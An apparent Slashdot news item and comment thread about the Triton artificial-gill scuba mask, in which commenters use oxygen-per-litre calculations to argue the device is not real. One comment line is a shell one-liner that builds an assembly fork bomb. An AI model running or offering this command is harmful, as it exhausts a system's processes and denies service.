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Revolutionary Scuba Mask Creates Breathable Oxygen Underwater On Its Own
schwit1 writes "With the Triton Oxygen Respirator, it might be possible to breathe beneath the surface of the water as if you were a fish. Requiring no bulky tank to keep your lungs pumping properly. The regulator comprises a plastic mouthpiece that requires you to simply bite down. There are two arms that branch out to the sides of the scuba mask that have been developed to function like the efficient gills of a marine creature. The scaly texture conceals small holes in the material where water is sucked in. Chambers inside separate the oxygen and release the liquid so that you can breath comfortably in the ocean."
An artificial gill system for a human would have to be huge, and you'd have to move at a pretty good clip, too. There just isn't enough oxygen per cc to keep a human alive. This guy worked some numbers. http://deepseanews.com/2014/01/triton-not-dive-or-dive-not-there-is-no-triton/
Pretty sure fish gills work with dissolved oxygen, that's why the tanks need splashy things, to get the oxygen back in).
If fish were cracking apart water to breathe, we'd be researching it for energy use, like we do with plants and photosynthesis. Additionally, it'd eliminate advantage of aerobic respiration to split the water apart.
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just in case you were wondering, this is not a real device. Interesting concept but this would need to be considerably more bulky to drive enough water through the filters. About 200litres of water needs to be flowed through the device per minute. For a working prototype for comparison see: http://www.youtube.com/watch?v=D23HLDZvX2w which works with a compressor. The poster should make it clear that the device mentioned is not an actual device, nor likely to be feasible without a relatively large pump and power supply.
Fish don't split water into hydrogen and oxygen. Rather they extract oxygen dissolved in water. However it seems like there are significant theoretical barriers to such a device because humans need a lot of O2 and seawater only has 7ppm. So you'd need to pass 192 litres of water per minute over the gill surface to get 1 litre or oxygen.
http://en.wikipedia.org/wiki/Artificial_gills_(human)
As sea water contains 7 ppm oxygen, 1,000,000 kg (1,000 tonnes) of sea water holds 7 kg (1,000 short tons holds 14 lb) of O2, the equivalent of 5,350 litres (1,410 US gal) of oxygen gas at atmospheric pressure.
An average diver with a fully closed-circuit rebreather needs 1 liter (roughly 1 quart) of oxygen per minute.[8] As a result, at least 192 litres (51 US gal) of sea water per minute would have to be passed through the system, and this system would not work in anoxic water.
On the other hand
Another potential source of oxygen generation is plastron respiration.[10] A foam with hydrophobic surfaces immersed in water becomes superhydrophobic, which provides a water-air interface across which oxygen can diffuse into the foam. In nature, this method is used by some aquatic insects (such as water boatman, Notonecta) and spiders (such as Dolomedes triton) to breathe underwater without a gill. This method was experimentally proven by professor Ed Cussler on his dog
They don't say how big the apparatus was or what the flow rate was. There's an interview with Cussler here.
http://www.naturesraincoats.com/Experiments_Plastron%20Respiration.html
If you look here it seems like artificial gills do need a high flow rate.
There's an interesting New Scientist article about artificial gills here
http://s3.amazonaws.com/lcp/artedi/myfiles/Breathing%20in%20oceans.pdf
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
One of the deeper linked articles has what looks like real photo's.
But still, the specs sound like a typical design student project; cool-looking device using fantasy technology.
"Oh, the tech boys will work out the tiny details like the battery that's 30x smaller and 1000x faster to recharge than current batteries."
I really want this thing to be real, but I'm missing the "fugly prototype" stage.
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This doesn't electrolyze water into H and O. It acts as a semipermeable membrane that allows gas exchange between the air inside and the water outside. So you don't get "pure" O2, you get more-or-less normal air.
You have a higher partial pressure of CO2 inside, so it selectively moves out; Similarly, you have a lower partial pressure of O2 inside, so it moves in. Only the inconvenience of having enough surface area prevented something like this before - You need on the order of 70m^2, with sufficient movement of both the water and air to make something like this viable. Apparently nanotech has advanced to the point where we can pack that into a pair of 2x8 inch tubes.